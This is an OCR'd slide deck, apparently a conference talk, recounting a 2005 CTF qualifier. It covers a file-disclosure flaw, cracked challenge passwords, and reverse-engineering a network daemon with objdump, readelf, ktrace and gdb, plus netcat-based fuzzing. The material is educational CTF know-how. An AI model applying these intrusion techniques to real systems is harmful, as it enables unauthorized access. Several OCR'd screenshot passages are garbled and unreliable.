the making of atlas

Kiddie to Hacker in 5 Sleepless Nights

0x000 - Statement of Humility

- I admit that I am not that great.
- I was given a functional mind and a bit of curiosity, for which I am thankful.
- I have not done anything you could not also do.
- I simply have done some enjoyable things.
- That abilities I do have have been given me, for which I am thankful.

0x100 - Intro to me atlas@r4780y.com http://atlas.r4780y.com/

- Programming since I was 8 (if you call BASICA programming ;)
- BACS, Network Engineering, Consulting, Teaching
- Telecom/Security work... intro to "Hacking Exposed"
- SANS Track 4 with the Mighty Ed Skoudis!
- CTF meant something completely different

0x200 - Setting of June 3rd, 2005

- New Baby
- Forgot CTF Quals DOH!
- Friends visiting from out of state: Limited to hacking from midnight until morning
- Nobody showed up for the team effort



0x300 - Briefly Stage 1 and Stage 2

- Scanning the box: 22, 80, and 6969 (the "Protocol Failure" daemon)
- Web app with hidden field which could be leveraged to display *any* file on the system
 - including /etc/passwd and /etc/master.passwd
- Cracking simple passwords with John the Ripper... but did not gain me a login to the box.
 - root:fred
 - breakme:apple1
- Warning: Screen Gone Wild!

0x400 - Oh Sh17. "Protocol Failure" and Sex Port 6969 (greetz i0hnny!)

filo	💻 atlas@a	arwen: /home/	atlas/CTF-Ken	Shoto/stage3	- Shell No. 4 - I	Konsole 📃	
ШС	🙈 🔳 Shell	🔳 Shell N	🔳 Shell N	🔳 Shell N	🔳 Shell N	🔳 Shell N	íí×
	atlas@arwen:/h binary: ELF 32 not stripped atlas@arwen:/h	nome/atlas/CTF- 2-bit LSB execu nome/atlas/CTF-	KenShoto/stage table, Intel & KenShoto/stage	e3 \$ file binar B0386, version e3 \$ <mark>-</mark>	Ƴ 1 (FreeBSD), †	for FreeBSD 5.4,	dynam ▲
	🙈 🔳 Shell	No. 2 🔳 S	hell 🛛 🔳 She	ll No. 3		(
strings	AUTH Protocol Failu Tag Failure Authentication Failed Droppin bacon:%s 666 You Totall \$FreeBSD: src, atlas@arwen:/h	n Failure ng Privs .y Suck Turnips (lib/csu/i386-e nome/atlas/CTF-	: lf/crtn.S,v 1. KenShoto/stage	5 2002/05/15 0 3 \$ <mark>-</mark>	4:19:49 obrien	Exp \$	
netcat	🔏 🔳 Shell	No. 2 🛛 🔳 S	hell 🛛 🔳 She	ll No. 3			
(flashback)	atlas@arwen:/# 192.168.255.12 (UNKNOWN) [192 Protocol Failu	nome/atlas/CTF- 28: inverse hos 2.168.255.128] ureatlas@arwen:	KenShoto/stage t lookup faile 6969 (?) open /home/atlas/C1	23 \$ nc -v 192.3 2d: Unknown hos 7F-KenShoto/sta	168. 255. 128 69 t ge3 \$ <mark>-</mark>	69 •	

0x500 - Stage 3

- Mental Surrender
- Fear, Uncertainty and Doubt
- •Which were somewhat founded because I knew nothing...

0x600 - A New Hope...

- "Hacking: The Art of Exploitation"
 - Hacking with Perl and Bash... Novel concept
- ExploitX paper
 - http://www.exploitx.com/forum/azbb.php?1112286936
- Simple, driven determination



persists full line Bookstate Josh 3	officer test	
the second		
D.D.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O.O	Neurontenenale professionen et gel Ca	
Household in the local state of	fi de las fereite territori, discusso	
The Constant of Constant		
Providence in the state of the Policy of the		
1. Mindedan		
N relates to exclusion plant stands and so become in the first start and the bits of the bits of the second start and start and so the bits of the bits of the second start and start and so the bits of the second start and second start and second second second start and second se	d deservable orden, av Hersteingen i Leerris der av Helserie en a bei Verbetung ander an D. Anderse K. anderse verbei be maarte bezahlte sakt Hersener ist beit K.a.	e front and
 The Charge starting improper Description Print and in the Internet Response on physical Internet. 		
A rate doesn't a second		
They are a finite to be a set of the second	In a splicit a sectionality service program (and an effect) like work in split a section and an effect of the section of th	
These confinitions is a state of a state of a second state of the	In anglist a solution of the group on product direct) for each local is one consider a solution in reactions. These last data can be a fear direction of sources the solution of the reaction of the solution of the solution group direction of the angles lasts, and when as can be only a solution group direction of the angles lasts, and when as can be only a solution.	nan angles na angles na ang ka ka na ang ka
These and angle is a close on any particular for the cost of the body for a supervised with the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the strength of the supervised with the strength of the strength of the strength of the st	In a splint a solution discussion program inclusion disc.) His cash is and a sp processing in and the entropy data. These band have also discussion and processing inclusion of the cashin links, and processing in the formation bands ground memory of the cashin links, and processing in the formation of the cashing of the cashin links, and processing in the formation of the cashing of the cashing links, and processing of the cashing of the cashing of the cashing links, and processing of the cashing of the cashing of the cashing links, and processing of the cashing of th	non and and a second se
	is a which which have a property to be a first or the soft back which is not to be a first or the soft back which is not be a soft or the soft of the soft back which is not be a soft of the soft back which is not be a soft of the soft back which is not be a soft back which is not back which is no	-100
They are a marked of a state of the second s	in a code colonadio access page to balancia de la code a part o procession de la consectión de la code de la code de la code de conserva. Servir o propriorita de las de la code de la code de la code de conserva. Servir o propriorita de las deconsections de la code de la code de conserva. Servir o propriorita de las deconsections de la code de la code de conserva. Servir o propriorita de las deconsections de la code de la code de conserva.	-100
There exist maps the sheet was paragraphed by the set of the set o		-100
There are a single of a shade are appropriate to be the same strategies of the single	(a) a status of solution that are proper to be the difference of the solution of the soluti	-100
There exist may be also according and the set of the se		-1000
There are the support of short are appropriate by the support of t	(a) a status of solution that are proper to be the direct of the out of a solution of the s	-1000
There are the support of shade are supported to 1 for any strategies of the strategi		-000
They well single is due to an appropriate in the set of the set of the due to be a set of the set of the set of the set of the set of the due to be a set of the set	is a status of solution to any page to be the difference for each of a status is a status of solution to any page of the solution to any solution to any solution to expanse. Some or a reservice is presented as a status of a status of the solution of the solution to any solution to a status of a status of the solution of the solution to any solution to a status of the solution of the solution to any solution of the solution of the solution of the solution to any solution of the solution	-1000
There are a first support of shade are supported to 1 first supported to 2 first supported to 2 first supported to 2 first support sup		-100
The part angle of the deal on any party of the deal of the set of	is a status of solution to any page to be the difference of the solution of	-1000
There and Provide and Antonian and Antonian Antonian Antonian Antonian Antonian Antonian Antonian Antonian Antonia Ant	(a) edited a collective page to be the determined of the edited of th	-1000
The proof single of which is an appropriate of the set	is a state of solution in the paper to be the direct of the solution and in a state of solution in the solution. But is a bit is a solution in the direct solution is a solution of the solution in the solution is a direct solution. We can approximately a state of solution is a solution in the direct solution is a solution of the solution is a solution in the solution is a solution of the solution is a solution in the solution is a solution in the solution is a solution of the solution is a solution in the solution is a solution in the solution is a solution of the solution is a solution in the solution in the solution is a solution in the solution is a solution in the solution in the solution is a solution in the solution is a solution in the solution in the solution in the solution is a solution in the solutin the solution in the solution in the solution in the solutio	-1000
The set of the spin of the data is an appropriate of the set of the spin of the set of t		-11000



0x700 - The T001z

- Objdump
- ReadElf
- GDB
- Ktrace/KDump
- and now, disass

0x710 – objdump

Session Edit View Bookmarks Settings Help Shell Shell N Shell N Shell N Shell N atlas@arwen:/home/atlas \$ objdump Usage: objdump
Shell Shell N Shell N Shell N Shell N Shell N atlas@arwen:/home/atlas \$ objdump Usage: objdump <option(s)> <file(s)></file(s)></option(s)>
atlas@arwen:/home/atlas \$ objdump
Display information from object <file(s)>. At least one of the following switches must be given: -a,archive-headers Display archive header information -f,file-headers Display the contents of the overall file header -p,private-headers Display the contents of the section headers -k,all-headers Display the contents of the section headers -d,disassemble Display assembler contents of all sections -D,disassemble-all Display assembler contents of all sections -D,disassemble-all Display assembler contents of all sections -S,source Intermix source code with disassembly -s,full-contents Display debug information in object file -e,debugging Display debug information using ctags style -G,stabs Display the contents of the symbol table(s) -T,dynamic-syms Display the contents of the dynamic symbol table -r,reloc Display the contents of the dynamic symbol table -R,dynamic-reloc Display the dynamic relocation entries in the file -R,dynamic-reloc Display the dynamic relocation entries in the file -R,version Display this program's version number -i,info List object formation</file(s)>

0x711 – objdump -d (disassembling)

	atlas@arwen: /home	e/atlas -	Shell No. 4	I - Konsole	(ж
Session Edit	View Bookmarks Se	ttings I	Help			
😤 🔳 Shell	🔳 Shell N 🛛 🔳 Shell N	v 🔳	Shell N	🔳 Shell N	🔳 Shell N	117
/bin/bash:	file format elf32-i386					
Disassembly of	section .init:					
0805b288 <_ini 805b288: 805b289: 805b28b: 805b28e: 805b293: 805b298: 805b29d: 805b29d: 805b29e: Disassembly of	t>: 55 89 e5 83 ec 08 e8 71 0b 00 00 e8 c3 0b 00 00 e8 07 49 07 00 c9 c3 section .plt:	push mov sub call call leave ret	%ebp %esp,%ebp \$0x8,%esp 805be04 < 805be5b < 80cfba4 <	_start+0x24> _start+0x7b> :_libc_csu_fir	ni+0x4b>	sists.
0805b2a0 <mb 805b2a0: 805b2a6: 805b2ac: 0805b2b0 <mb< td=""><td>rlen@plt-0x10>: ff 35 d8 54 0e 08 ff 25 dc 54 0e 08 00 00 rlen@plt>:</td><td>pushl jmp add</td><td>0x80e54d8 *0x80e54d %al,(%eax</td><td>c)</td><td></td><td></td></mb<></mb 	rlen@plt-0x10>: ff 35 d8 54 0e 08 ff 25 dc 54 0e 08 00 00 rlen@plt>:	pushl jmp add	0x80e54d8 *0x80e54d %al,(%eax	c)		
805b2b0: 805b2b6:	ff 25 e0 54 0e 08 68 00 00 00 00	jmp push	*0x80e54e \$0x0	0		

0x720 – ReadELF

atlas@arwen:/home/atlas \$ readelf Usage: readelf <option(s)> elf-file(s) Display information about the contents of ELF format files Options are: -a --all Equivalent to: -h -l -S -s -r -d -V -A -I -h --file-header Display the ELF file header -l --program-headers Display the program headers An alias for --program-headers --segments -S --section-headers Display the sections' header An alias for --section-headers --sections Display the section groups -q --section-groups -t --section-details Display the section details -e --headers Equivalent to: -h -l -S Display the symbol table -S--SVMS An alias for --syms --symbols -n --notes Display the core notes (if present) -r --relocs Display the relocations (if present) Display the unwind info (if present) -u -- unwind -d --dynamic Display the dynamic section (if present) -V --version-info Display the version sections (if present) -A --arch-specific Display architecture specific information (if any). -D --use-dynamic Use the dynamic section info when displaying symbols -x --hex-dump=<number> Dump the contents of section <number> -w[liaprmfFsoR] or --debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=str,=loc,=Ranges] Display the contents of DWARF2 debug sections Display histogram of bucket list lengths -I --histogram -W --wide Allow output width to exceed 80 characters @<file> Read options from <file> -H --help Display this information Display the version number of readelf -v --version Report bugs to <URL:http://www.sourceware.org/bugzilla/>

0x730 - ktrace/kdump

	atlas@arwen: /home/atlas - Shell No. 4 - Konsole	
Session Edit	View Bookmarks Settings Help	
🙈 🔳 Shell	Shell No. 3 Shell No. 2 Shell No. 4 Shell No. 5 Shell No. 6	
root@vmbsd# kt	race -dip `ps ax grep stage3 grep -v grep cut -c-6`	
root@vmbsd# kd		
643 stage3	RET select 0	
643 stage3	CALL select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)	
643 stage3	RET select 0	
643 stage3	CALL select (0x5, 0xbfbfebe0, 0, 0, 0xbfbfebd8)	
643 stage3	RET select 0	
643 stage3	CALL select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)	
643 stage3	RET select 0	
643 stage3	CALL Select(0X5,0xbTbTebe0,0,0,0xbTbTebd8)	
643 stage3		
643 stage3	CALL SELECT (UKS, UXDTDTEDEU, U, U, UXDTDTEDEUS)	
643 stage3	REI Select U	
643 stages	CALL Select (0x5,0xb1b1ebed, 0, 0, 0xb1b1ebd8)	
643 stages	CALL Second (0x4 0xbfbfabc0 0xbfbfac69)	
6/3 stages		
6/3 stage3		
643 stage3	RET fork 1394/0v572	
1394 stages	BET fork 100-100 P	
643 stage3	CALL clase(0x5)	
643 stage3	BET close 0	
1394 stage3	CALL close(0x4)	
1394 stage3	RET close 0	
643 stage3	CALL select(0x5.0xbfbfebe0.0.0.0xbfbfebd8)	
1394 stage3	CALL read (0x5, 0x804a200, 0x7ff)	
643 stage3	RET select 0	
643 stage3	CALL select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)	
643 stage3	RET select 0	
643 stage3	CALL select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)	
643 stage3	RET select 0	
643 stage3	CALL select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)	
1394 stage3	GIO fd 5 read 39 bytes	
"bacon: "	myname:mypassword:somethingelse\r	
1394 stage3	RET read 39/0x27	
1394 stage3	CALL write(0x5,0xbfbfe2f0,0xb)	
1394 stage3	GIO fd 5 wrote 11 bytes	
"Tag Fa	nilure"	
1394 stage3	RET write 11/0xb	
1394 stage3	CALL close(0x5)	
1394 stage3	RET close 0	
1394 stage3	CALL write(0x3,0x804c000,0x4)	
1394 stage3	GIO fd 3 wrote 4 bytes	
"643		

0x800 - Tracing through Stage3

- BSD on Vmware
 - ./stage3 6969 (formerly "binary")
- Ktrace for kernel call tracing
 - ktrace -dip `ps ax |grep stage3 |grep -v grep |cut -c-6`
 - nc -v localhost 6969 ("bacon:myname:mypassword:somethingelse\r")
 - kdump
- gdb
 - gdb ./stage3 `ps ax |grep stage3 |grep -v grep |cut -c-6`

0x900 - Analyzing Ktrace output

- 'cuz I was still too lame to get over my fear of the raw ASM

	643 stage	e3	CALL	accept(0x4,0xbfbfebc0,0xbfbfec68)
	643 stage	e3	RET	accept 5
	643 stage	e3	CALL	
	643 stage	e3	RET	fork 1394/0x572
	1394 stage	e3	RET	fork O
	643 stage	e3	CALL	close(0x5)
	643 stage	e3	RET	close O
	1394 stage	e3	CALL	close(0x4)
	1394 stage	e3	RET	close 0
	643 stage	e3	CALL	select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)
	1394 stage	e3	CALL	read(0x5,0x804a200,0x7ff)
	643 stage	e3 -	RET	select 0
	643 stage	e3	CALL	select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)
	643 stage	e3	RET	select 0
	643 stage	e3	CALL	select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)
	643 stage	e3	RET	select 0
	643 stage	e3	CALL	select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)
	1394 stage	e3	GIO	fd 5 read 39 bytes
	"baco	on:my	name:	nypassword:somethingelse\r
	1394 stage	e3	RET	read 39/0x27
	1394 stage	e3	CALL	write(0x5,0xbfbfe2f0,0xb)
	1394 stage	e3	GIO	fd 5 wrote 11 bytes
	"Tag	Fail	ure"	
	1394 stage	e3	REI	Write II/OXD
	1394 stage	e3	CALL	close (Ux5)
	1394 stage	83	REI	
	1394 stage	23	CALL	fd 2 unate (butes
	1394 Stage	83	010	Ta 3 wrote 4 bytes
	043			
	1204 stad		DET	veita 4
	1394 stage	3	CALL	evit(Ovffffffff)
	643 stage	3	RET	select -l errno 4 Interrunted system call
	643 stage	-3	PSTG	STGCHID caught handler=0x8048eb4 mask=0x0 code=0x0
	643 stage	3	CALL	wait4(0xffffffff 0xbfbfe850 0x1 0)
	643 stage	-3	RET	wait4 1394/0x572
	643 stage	-3	CALLS	wait4(0xfffffffff,0xbfbfe850,0x1,0)
	643 stage	-3	BET	wait4 -1 errno 10 No child processes
	643 stage	83	CALL	sigreturn (Oxbfbfe880)
C	643 stage	e3	RET	sigreturn JUSTRETURN
	643 stage	e3	CALL	select(0x5.0xbfbfebe0.0.0.0xbfbfebd8)
	643 stage	e3	RET	select 0
	643 stage	e3	CALL	select(0x5,0xbfbfebe0,0,0,0xbfbfebd8)
	643 stage	e3	RET	select 0
			And in case of the local diversion of the local diversion of the local diversion of the local diversion of the	

0xa00 - D00d, where's my shell?

- turns into...

- Loitering and Meandering around memory space (one of GDB's deficiencies)
- Something I hadn't a clue about:
 - Memory space is clearly defined in the ELF binary...
 - DOH!
 - I'm a Retard. I was x/32wx-ing all over cyber-hell trying to learn where stuff was. Stupid!

0xb00 - objdump -x demystified

- (oh if only I knew then...)
- File Header: ELF
- Program Headers
- Dynamic "Stuff"
- Sections

	atlas@arwen: /	home/atlas/CTF-I	KenShoto/stage3 ·
Session Edit View Bookr	narks Settings	Help	
🙈 🔳 Shell 📄 Shell No. 2	Shell No. 3	🔳 Shell No. 4	🔳 Shell No. 5 🛛
atlas@arwen:/home/atlas/CTF- stage3: file format elf3 stage3 architecture: i386, flags Ox EXEC_P, HAS_SYMS, D_PAGED start address 0x08048d48	KenShoto/stage3 \$ 2-i386 00000112:	; objdump -x staç	je3

Program H	Header:							
PHDR	off	0x00000034	vaddr	0x08048034	paddr	0x08048034	align	2**2
The second	filesz	0x000000c0	memsz	0x000000c0	flags	Г-X		
INTERP	off	0x000000f4	vaddr	0x080480f4	paddr	0x080480f4	align	2**0
	filesz	0x00000015	memsz	0x00000015	flags	r		
LOAD	off	0x00000000	vaddr	0x08048000	paddr	0x08048000	align	2**12
	filesz	0x00001c84	memsz	0x00001c84	flags	Г-X		
LOAD	off	0x00002000	vaddr	0x0804a000	paddr	0x0804a000	align	2**12
	filesz	0x000001a4	memsz	0x00000a14	flags	rw-		
DYNAMIC	off	0x00002010	vaddr	0x0804a010	paddr	0x0804a010	align	2**2
	filesz	0x000000b8	memsz	0x000000b8	flags	rw-		
NOTE	off	0x0000010c	vaddr	0x0804810c	paddr	0x0804810c	align	2**2
	filesz	0x00000018	memsz	0x00000018	flags	n		

OxbO2 - objdump -x demystified • (oh if only I knew then...)

Dynamic Sect	ion•			
NEEDED	libcrypt.so.2			
NEEDED	libc.so.5			
INIT	0x8048a3c			
FINI	0x8049a04			
HASH	0x8048124			
STRTAB	0x8048698			
SYMTAB	0x80482b8			
STRSZ	0x219			
SYMENT	0x10			
DEBUG	0x0			
PLTGOT	0x804a0dc			
PLTRELSZ	0x178			
PLIREL	0x11			
JMPREL	0x80488c4			
REL	0x80488b4			
RELSZ	0110			
RELENI	0X8			

	Sect	tions:					
	Idx	Name	Size	VMA	LMA	File off	Algn
	0	.interp	00000015	080480f4	080480f4	000000f4	2**0
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
	1	.note.ABI-tag	00000018	0804810c	0804810c	0000010c	2**2
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
	2	hash	00000194	08048124	08048124	00000124	2**2
/			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
/	3	.dynsym	000003e0	080482b8	080482b8	000002b8	2**2
//			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
//	4	.dynstr	00000219	08048698	08048698	00000698	2**0
1			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
ĺ	5	.rel.dyn	00000010	080488b4	080488b4	000008b4	2**2
Å			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
N	6	.rel.plt	00000178	080488c4	080488c4	000008c4	2**2
$\langle \rangle$			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
Ň	7	.init	0000000b	08048a3c	08048a3c	00000a3c	2**2
Ŋ			CONTENTS,	ALLOC, LOA	AD, READONL	Y, CODE	
	8	.plt	00000300	08048a48	08048a48	00000a48	2**2
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, CODE	
	9	.text	00000cbc	08048d48	08048d48	00000d48	2**2
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, CODE	
	10	.fini	00000006	08049a04	08049a04	00001a04	2**2
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, CODE	
	11	. rodata	00000278	08049a0c	08049a0c	00001a0c	2**2
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
	12	.data	0000000c	0804a000	0804a000	00002000	2**2
			CONTENTS,	ALLOC, LOA	AD, DATA		
	13	.eh frame	00000004	0804a00c	0804a00c	0000200c	2**2
			CONTENTS,	ALLOC, LOA	AD, READONL	Y, DATA	
	14	dynamic	000000b8	0804a010	0804a010	00002010	2**2
			CONTENTS,	ALLOC, LOA	AD, DATA		
	15	.ctors	80000008	0804a0c8	0804a0c8	000020c8	2**2
			CONTENTS,	ALLOC, LOA	AD, DATA		
	16	.dtors	80000008	0804a0d0	0804a0d0	000020d0	2**2
			CONTENTS,	ALLOC, LOA	AD, DATA		
	17	.jcr	00000004	0804a0d8	0804a0d8	000020d8	2**2
			CONTENTS,	ALLOC, LOA	AD, DATA		
	18	.got	000000c8	0804a0dc	0804a0dc	000020dc	2**2
			CONTENTS,	ALLOC, LOA	AD, DATA		
	19	.bss	00000854	0804a1c0	0804alc0	000021c0	2**5
			ALLOC				
	20	.comment	0000012d	00000000	00000000	000021c0	2**0
			the second se				

		//////////////////////////////////////			
SYMBOL TABLE:					
080480f4 l	d	.interp 00000000.interp			
0804810c l	d	.note.ABI-tag 00000000 .note.ABI	-taq		
08048124 l	d	.hash 00000000 .hash			
080482b8 l	d	.dynsym 00000000.dynsym			
08048698 1	d	.dynstr 00000000.dynstr			
080488b4 l	d	.rel.dyn 00000000.rel.dyn			
080488c4 l	d	.rel.plt 00000000 .rel.plt			
08048a3c l	d	.init 00000000 .init			
08048a48 l	d	.plt 00000000.plt			
08048d48 l	d	.text 00000000 .text			
08049a04 l	d	.fini 00000000.fini			
08049a0c l	d	.rodata 00000000.rodata			
0804a000 l	d	.data 00000000.data			
0804a00c l	d	.eh_frame 00000000 .eh_frame			
0804a010 l	d	.dynamic 00000000 .dynamic			
0804a0c8 l	d	.ctors 00000000 .ctors			//////////////////////////////////////
0804a0d0 l	d	.dtors 00000000 .dtors	0000000	F *UND*	00000000 memset
0804a0d8 l	d	.jcr 00000000.jcr	080498bc g	F .text	COCOUNTS main
0804a0dc l	d	.got 00000000.got	08049330 g	F .Text	00000026 cleanup
0804alc0 l	d	.bss 00000000.bss	00000000		00000005_1111_tts
00000000 l	d	.comment 00000000 .comment		F *UND*	00000000 seteuid
00000000 l	d	*ABS* 00000000 .shstrtab	0804aa08 g	U DSS	00000004 numblock
00000000 l	d	*ABS* 00000000 .symtab	00000000		00000000 strcmp
00000000 l	d	*ABS* 00000000 .strtab	0000000	E *UND*	0000002/ getpwnam
00000000 l	df	*ABS* 00000000 crt1.c	08049a04 g	F TINI	00000000 _T111
0804810c l	0	.note.ABI-tag 00000018 abitag	00000000		0000002c atexit
00000000 l	df	*ABS* 00000000 /usr/src/lib/csu/:	00000000		00000005 strsep
00000000 l	df	*ABS* 00000000 <command line=""/>	00000000		00000000 setresgia
00000000 l	df	*ABS* 00000000 <built-in></built-in>	0804a1a4 g	*ABS*	occoccic shideret
00000000 1	df	*ABS* 00000000 /usr/src/lib/csu/:	1 080497C4 g	F .text	000000T6 childrest
00000000 l	df	*ABS* 00000000 crtstuff.c	0804a0dc g	U *ABS*	GOODOOOD _GLOBAL_UFFSET_TABLE_
0804a0c8 l	0	.ctors 00000000 _CTOR_LIST	0804aa14 g		00000000 _end
			00000000		00000043 eXIL
			00000000		00000027 getgrnam
			00000000		
			0804aa0c g	U DSS	00000004 children
			00000000		00000123 daemon

0xc00 - Waste of Time?

- •Not to say my wanderings didn't pay off...
- •Learning immense amounts...
 - GDB
 - Memory layout
 - Particulars (like what "leave" and "ret" really do)

0xd00 - Favorite GDB helpers

GDB's main commands for poking around:

ρ	(or p/x for printing Hex versions) - Print an expression.
×	(or x/32wx for printing 32 Hex words) - Show memory *at* a location
break	Set a breakpoint (must include a * to start raw memory addresses)
continue	Start execution again after a break point
ni/si	Execute the next instruction. One skips calls, the other digs deep
display	Like x, but will reprint the output prior to each prompt
info reg	Information about all registers
info frame	Information about the current Stack frame (ebp - esp)
bt	Print's a BackTrace (list of Stack Frames from start of app)
help	Prints the many maze-like

0xd01 - Favorite GDB Helpers (2)

Breakpoints for each "call": break *0x<address of call 1> break *0x<address of call 2> etc... **DISPLAY SETTINGS/Basic** display/i \$pc display/x \$edx display/x \$ecx display/x \$ebx display/x \$eax display/32wx \$ebp-92 display/32xw \$esp

0xe00 - Pseudo-fuzzing

- What I did, I cringe to call fuzzing
 - Perl from the command-line piped to netcat
 - Metasploit exploit code
 - Isn't sharing nice?

0xf00 - Why you should run a sniffer while writing network sploitz

- The sploit wasn't even hitting the wire...
- @#\$% buffered IO!

• \$|

- Two lines needed a delay between them.
 - Impossible if you're not pushing the first line to begin with!
 - Still difficult using 'perl -e "..." | nc fhost 6969'
- Rewrote client/fuzzer to do network stuff in perl

0x1000 - Racking and Stacking:

804923d:	c7 45 f0 10 00 00 00	, movi	\$9x10,0xffffff0(%ebp)		
8049244:	83 ec 04	, sub	\$0x4,%esp		
8049247:	8d 45 f0	. lea	0xfffffff0(%ebp),%eax		
804924a:	50	, push	%eax		
804924b:	8d 85 48 ff ff ff	. lea	0xffffff48(%ebp),%eax		
8049251:	50	, push	%eax		
8049252:	ff 75 08	, pushl	0x8(%ebp)		
8049255:	e8 ce f8 ff ff	, call	8048b28 <accept@plt></accept@plt>	call GOT::accept (brkpt: 30)	
804925a:	83 c4 10	、 add	\$0x10,%esp		
804925d:	89 45 f4	, mov	%eax, Gxfffffffffffffffffffffffffffffffffff		
I TA HATA A A A A A A A A A A A A A A A A		nnnnnn			11111
80492f4:	83 ec 0c	, sub	\$0xc,%esp		
80492f7:	ff 75 f4	, pushl	Gxffffffffffffffffffffffffffffffffffff		
80492fa:	e8 c5 04 00 00	, call	80497c4 <chldrqst></chldrqst>	<pre>call SYM::['chldrgst'] (brkpt:</pre>	41)

Subroutine: chldrqst , 70	lines
Variables:	
8(4	.)(
ffffbdc (4	.)(
fffffbe0 (4	.)(
fffffbe4 (4	.)
fffffbe8(40c	:) (
fffffff4 (c)
Starting address: 80497c4	
Called By:	
. loop:80492fa-> 804	97c4

		///////////////////////////////////////	///////////////////////////////////////	
080497c4	-chldrqst>:			
80497c4:	55	、 push	%ebp	
80497c5:	89 e5	, mov	%esp,%ebp	
80497c7:	81 ec 28 04 00 00	, sub	\$0x428,%esp	
80497cd:	8d 95 e8 fb ff ff	. lea	0xfffffbe8(%ebp),%edx	
80497d3:	b8 00 04 00 00	, mov	\$0x400,%eax	
80497d8:	83 ec 04	, sub	\$0x4,%esp	
80497db:	50	、 push	%eax	
80497dc:	6a 00	、 push	\$0x0	
80497de:	52	, push	%edx	
80497df:	e8 64 f4 ff ff	. call	8048c48 <memset@plt></memset@plt>	call GOT::memset (brkpt: 52)
80497e4:	83 c4 10	, add	\$0x10,%esp	
80497e7:	c7 85 e4 fb ff ff 00	. movl	\$0x0,0xfffffbe4(%ebp)	
80497ee:	00 00 00			
80497f1:	83 ec 0c	, sub	\$0xc,%esp	
80497f4:	ff 75 08	, pushl	Gx8(%ebp)	
80497f7:	e8 50 fe ff ff	, call	804964c <authenticate></authenticate>	call SYM::['authenticate'] (brkpt: 53)
80497fc:	83 c4 10	. add	\$0x10.%esp	
80497ff:	83 ec 04	sub	\$0x4.%esp	
8049802	6a 03	. push	\$0x3	
8049804:	68 Ga 9c 04 08	push	\$0x8049c0a	. '0K\n'
8049809:	ff 75 08	pushl	Gx8(%ebp)	
804980c:	e8 27 f3 ff ff	call	8048b38 <write@plt></write@plt>	call GOT::write (brkpt: 54)
			•••••••••••••••••••••••••••••••••••••••	
8049811:.	83 c4 10	. add	\$9x10.%esp	
8049814:	83 ec 04	. sub	\$0x4.%esp	
8049817:	68 ff 07 00 00	. push	\$0x7ff.	
804981c:	68 00 a2 04 08	push	\$0x804a200	SYM::['input buffer']
8049821:	ff 75 08	pushl	Gx8(%ebp).	
8049824	e8 8f f3 ff ff	call	8048bb8 <read@plt></read@plt>	call GOT:: read (brkpt: 55)
				and antitional intropations.

0x1001 - Racking and Stacking:

8049829: 804982c: 804982f: 8049832: 8049838: 8049839: 8049839: 8049839: 80498343:	83 c4 10 . 89 45 f4 . 83 ec 04 . 8d 85 e8 fb ff ff . 50 . 68 0e 9c 04 08 . 68 00 a2 04 08 . e8 d0 f3 ff ff .	add mov sub lea push push call	\$\$\phi\$x4, %esp. \$\$\$\phi\$x8(%ebp), %eax. \$	'bacon:%s' SYM::['input_buffer'] call GOT::sscanf (brkpt: 56)	
8049848: 804984b: 8049851: 8049854: 8049855: 8049855: 804985a:	83 c4 10 8d 85 e8 fb ff ff 83 ec 0c e8 ae f4 ff ff 83 c4 10 89 45 f4	add lea sub push call add mov	<pre>\$0x10,%esp. 0xfffffbe8(%ebp),%eax. \$0xc,%esp. %eax. 8048d08 <strlen@plt> \$0x10,%esp. %eax.0xffffffff4(%ebp).</strlen@plt></pre>	call GOT::strlen (brkpt: 57)	
8049884:, 8049888:, 804988a:	83 7d f4 00 . 74 0e .	cmpl je	\$0x0,0xfffffff4(%ebp) 8049898 <chldrqst+0xd4></chldrqst+0xd4>	je +000010. (local).	
8049890:, 8049896:,	89 85 dc fb ff ff . eb 0a	mov jmp	<pre>%eax.0xfffffbdc(%ebp) 80498a2 <chldrqst+0xde></chldrqst+0xde></pre>	jmp +00000C. (local).	
8049898:, \n'	c7 85 dc fb ff ff 18 .	movl	\$0x8049c18,0xfffffbdc(%ebp)		
804989f: 80498a2: 80498a8: 80498a8:	9c 04 08 ff b5 dc fb ff ff ff 75 08 e8 88 f2 ff ff	pushl pushl call	0xfffffbdc(%ebp)SCANF() 0x8(%ebp). 8048b38 =write@plt>	3)	Linux Programmer's Manual
80498b0: 80498b3: 80498b8: 80498b9:	83 c4 10 b8 01 00 00 00 c9	add mov leave ret	\$0x10,%esp. \$0x1,%eax. SYNOPS	<pre>scanf, fscanf, sscanf, vscanf, vsscanf, IS #include <stdio.h> int scanf(const char *<u>format</u>,); int fscanf(FILE *<u>stream</u>, const char *<u>fo</u> int sscanf(const char *<u>str</u>, const char #include <stdarg.h> int vscanf(const char *<u>format</u>, va_list int vscanf(const char *<u>str</u>, const char int vfscanf(FILE *<u>stream</u>, const char *<u>format</u>, va_list</stdarg.h></stdio.h></pre>	<pre>vfscanf - input format conversion prmat,); *format,); ap); *format, va_list ap); format, va_list ap);</pre>
